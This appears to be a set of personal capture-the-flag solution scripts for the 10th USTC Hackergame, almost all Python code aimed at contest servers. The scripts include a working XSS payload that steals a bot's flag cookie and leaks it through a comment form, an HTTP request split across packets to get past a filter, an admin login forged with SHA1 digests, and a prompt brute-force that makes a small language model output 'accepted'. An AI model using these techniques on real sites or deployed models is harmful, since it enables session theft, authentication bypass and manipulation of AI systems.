中国科学技术大学第十届信息安全大赛个人题解

import base64
import re
import requests
import urllib.parse

from pwn import *

token = "<MY TOKEN>"

context(log_level = "error")

session = requests.Session()
session.get(f"http://202.38.93.111:10051/?token={urlencode(token)}")
b64str = ""
start = 0
while True:
  session.post("http://202.38.93.111:10051/result", {
    "comment": '"+[location=name]+"'
  })
  conn = connect("202.38.93.111", 10053)
  conn.sendlineafter(b"token: ", token.encode())
  conn.sendlineafter("文件。".encode("utf8"), f"""<script>open("http://web/result", `javascript:document.getElementsByTagName("textarea")[0].value = btoa(document.cookie.split("flag=")[1]).substring({start}, {start + 24}); document.getElementsByTagName("form")[0].submit();`);</script>\nEOF""".encode())
  conn.recvuntil(b"Bye bye!")
  conn.close()
  response = session.get("http://202.38.93.111:10051/result")
  s = re.search(r"你留下的评论：([^\"]+)", response.text).group(1)
  if s == "（还没有评论）":
    break
  print(s, end="")
  b64str += s
  start += 24

print("\n" + urllib.parse.unquote_plus(base64.b64decode(b64str).decode()))

from pwn import *

conn = connect("202.38.93.111", 10096)
conn.sendlineafter(b"Please input your token:", b"<MY TOKEN>")
conn.sendlineafter(b"Input your JSON:", '["\u0085\u2028\u2029"]'.encode("utf8"))
print(conn.recvall().decode("utf8"))
conn.close()

from functools import reduce

def factors(n) -> set:
  try:
    # Source: https://stackoverflow.com/questions/6800193/what-is-the-most-efficient-way-of-finding-all-the-factors-of-a-number-in-python
    # Author: agf
    return set(reduce(list.__add__, ([i, n // i] for i in range(2, int(n ** 0.5) + 1) if n % i == 0)))
  except:
    return set()

all_factors = set()
for i in range(0, 101):
  if i % 3 != 0:
    continue
  temp = factors((135146688 + i) // 3)
  if len(temp) < 3:
    continue
  all_factors |= temp

print(sorted(all_factors))

import math
import struct
from PIL import Image

with open("video.bin", "rb") as reader:
  data = reader.read()

factors = [2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 44, 45, 46, 48, 50, 51, 52, 54, 55, 56, 57, 59, 60, 61, 63, 64, 65, 67, 68, 69, 70, 74, 75, 76, 77, 78, 82, 83, 91, 92, 93, 95, 100, 101, 102, 103, 107, 111, 113, 114, 121, 126, 130, 134, 136, 139, 140, 150, 156, 161, 166, 167, 171, 181, 183, 184, 189, 193, 195, 201, 204, 206, 209, 211, 214, 222, 223, 228, 231, 233, 241, 253, 259, 260, 268, 272, 280, 300, 325, 333, 334, 342, 347, 349, 378, 386, 390, 402, 408, 409, 412, 417, 422, 427, 461, 483, 501, 518, 543, 603, 605, 650, 666, 671, 684, 694, 698, 759, 777, 780, 804, 816, 818, 824, 922, 973, 975, 983, 999, 1002, 1045, 1205, 1206, 1273, 1281, 1300, 1388, 1391, 1396, 1403, 1529, 1554, 1561, 1636, 1711, 1717, 1721, 1745, 1771, 1844, 1950, 1966, 1998, 2013, 2299, 2305, 2331, 2369, 2377, 2412, 2443, 2546, 2776, 2782, 2792, 2919, 2949, 3197, 3221, 3227, 3272, 3277, 3403, 3442, 3490, 3688, 3819, 3900, 3919, 3932, 4057, 4209, 4587, 4610, 4662, 4697, 4738, 4754, 4886, 5092, 5313, 5552, 5898, 6025, 6442, 6454, 6544, 6619, 6667, 6757, 6806, 6884, 6980, 6993, 7477, 7638, 8114, 8479, 8847, 9220, 9476, 9508, 9591, 9663, 9772, 9821, 10703, 11104, 11457, 11495, 11551, 11796, 12215, 12908, 13088, 13238, 13747, 13768, 13960, 13986, 14091, 15276, 15433, 16135, 16193, 16228, 17694, 18440, 18677, 18952, 19016, 19326, 19544, 19595, 22379, 22547, 22914, 23102, 24430, 25437, 25816, 26176, 26237, 26329, 27536, 28859, 28989, 29463, 32109, 32270, 32386, 32456, 34653, 35167, 35388, 37354, 37385, 43109, 44959, 45094, 45828, 46204, 46299, 48860, 54671, 55072, 55207, 56031, 57755, 57978, 59353, 64540, 64912, 65861, 67137, 67641, 69306, 74461, 74708, 82963, 86967, 89918, 93269, 97720, 105501, 106751, 108031, 109342, 110144, 110414, 112062, 115510, 116707, 119177, 129080, 129824, 131722, 134877, 135282, 138612, 150163, 160889, 165621, 168093, 173265, 173934, 178059, 186925, 193343, 195017, 197583, 202013, 202923, 210509, 213502, 215545, 218684, 220828, 224124, 231020, 233414, 238354, 244831, 246169, 248889, 263444, 269754, 271379, 279807, 288775, 300326, 321778, 324093, 331242, 336186, 346530, 357531, 372305, 395166, 398663, 405846, 421018, 437368, 441656, 446029, 450489, 474199, 484397, 489662, 495043, 542758, 549377, 577550, 585051, 592749, 600652, 608769, 643556, 652883, 662484, 672372, 693060, 703889, 715062, 738507, 750815, 763541, 790332, 804445, 819071, 834239, 866325, 883312, 900978, 938519, 979324, 1001087, 1023839, 1072593, 1098754, 1126223, 1155100, 1185498, 1217538, 1251359, 1287112, 1324968, 1365119, 1407778, 1407779, 1453191, 1501630, 1553411, 1608890, 1668478, 1732650, 1732651, 1801956, 1801957, 1877038, 1958648, 1958649, 2047678, 2145186, 2145187, 2252445, 2252446, 2370995, 2370996, 2502717, 2502718, 2649936, 2649937, 2815556, 2815557, 2815558, 3003260, 3003261, 3217779, 3217780, 3465300, 3465301, 3465302, 3754075, 3754076, 3754077, 4095355, 4095356, 4095357, 4504890, 4504891, 4504892, 5005433, 5005434, 5005435, 5005436, 5631112, 5631113, 5631114, 5631115, 5631116, 6435557, 6435558, 6435559, 6435560, 6435561, 7508150, 7508151, 7508152, 7508153, 7508154, 9009780, 9009781, 9009782, 9009783, 9009784, 9009785, 11262224, 11262225, 11262226, 11262227, 11262228, 11262229, 11262230, 11262231, 11262232, 15016299, 15016300, 15016302, 15016303, 15016304, 15016305, 15016306, 15016307, 15016308, 15016309, 22524448, 22524450, 22524451, 22524452, 22524453, 22524454, 22524455, 22524456, 22524457, 22524458, 22524459, 22524460, 22524461, 22524462, 22524463, 22524464]

for width in factors:
  height = math.ceil(len(data) / (width * 3))
  if width > 4096 or width % 10 == 0:
    continue
  if height > 4096:
    height = 4096
  image = Image.new("RGB", (width, height))
  for y in range(height):
    for x in range(width):
      try:
        r, g, b = struct.unpack("<3B", data[(y * width + x) * 3 : (y * width + x + 1) * 3])
        image.putpixel((x, y), (b, g, r))
      except:
        break

  image.save(f"output/{width}.png")

from PIL import Image

image = Image.open("image.png")
image.save("image.webp", lossless=True, quality=100, method=6)

import socket
import time

token = "<MY TOKEN>"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
  client_socket.connect(("202.38.93.111", 18081))
  client_socket.send(b"P")
  time.sleep(1)
  client_socket.send(f"OST / HTTP/1.1\r\nHost: 202.38.93.111\r\nContent-Length: {len(token)}\r\n\r\n{token}".encode())
  response = client_socket.recv(1024)
  print(response.decode())

id_list = [53, 41, 85, 109, 75, 1, 33, 48, 77, 90, 17, 118, 36, 25, 13, 89, 90, 3, 63, 25, 31, 77, 27, 60, 3, 118, 24, 62, 54, 61, 25, 63, 77, 36, 5, 32, 60, 67, 113, 28]

cod_dict = ['nymeh1niwemflcir}echaet', 'a3g7}kidgojernoetlsup?h', 'ulw!f5soadrhwnrsnstnoeq', 'ct{l-findiehaai{oveatas', 'ty9kxborszstguyd?!blm-p']

x = ""
for id in id_list:
  a = id // 24
  b = id % 24
  print(f"{a:>2d} {b:>2d} {cod_dict[a][b]}")
  x += cod_dict[a][b]

print(x)

cod_dict = ['nymeh1niwemflcir}echaet', 'a3g7}kidgojernoetlsup?h', 'ullw!f5soadrhwnrsnstnoeq', 'cct{l-findiehaai{oveatas', 'tty9kxborszstguyd?!blm-p']

from hashlib import sha1

start = 0
while True:
  admin_str = f"admin:{start}"
  result = sha1(admin_str.encode()).digest()
  try:
    assert b"\n" not in result
    assert b":" not in result
    result.decode()
  except:
    start += 1
    continue
  print(admin_str)
  print(result.decode())
  break

from hashlib import sha1
from pwn import *

token = "<MY TOKEN>"

context(log_level = "error")

admin_str = "admin:32740"

buffer_4 = sha1(admin_str.encode()).digest()
buffer_5 = b":" + b"a" * 19

X = b"".join(sorted((buffer_4, buffer_5)))
Y = b"B:B"
buffer_3 = sha1(Y).digest()

credential = buffer_5 + buffer_3

conn = connect("202.38.93.111", 10094)
conn.sendlineafter(b"token", token.encode())
conn.sendlineafter(b"Choice: ", b"1")
conn.sendlineafter(b"> ", X)
conn.sendlineafter(b"> ", Y)
conn.sendlineafter(b"> ", b"EOF")
conn.sendlineafter(b"Choice: ", b"2")
conn.sendlineafter(b"Login credential: ", (admin_str + ":" + credential.hex()).encode())
conn.recvuntil(b"Hello, admin!\n")
print(conn.recvline().decode())
conn.close()

from transformers import AutoModelForCausalLM, AutoTokenizer

model = AutoModelForCausalLM.from_pretrained("./TinyStories-33M").eval()
tokenizer = AutoTokenizer.from_pretrained("./TinyStories-33M")

def predict(message) -> str:
    model_inputs = tokenizer.encode(message, return_tensors="pt")
    model_outputs = model.generate(
        model_inputs,
        max_new_tokens=30,
        num_beams=1,
        pad_token_id=tokenizer.eos_token_id,
    )
    model_outputs = model_outputs[0, len(model_inputs[0]) :]
    model_output_text = tokenizer.decode(model_outputs, skip_special_tokens=True)
    return model_output_text

a = 32
while True:
    input = f"{chr(a)}accept"
    output = predict(input).replace("\n", "")
    print(f"{input}: {output}")
    if "accepted" in output.lower():
        break
    a += 1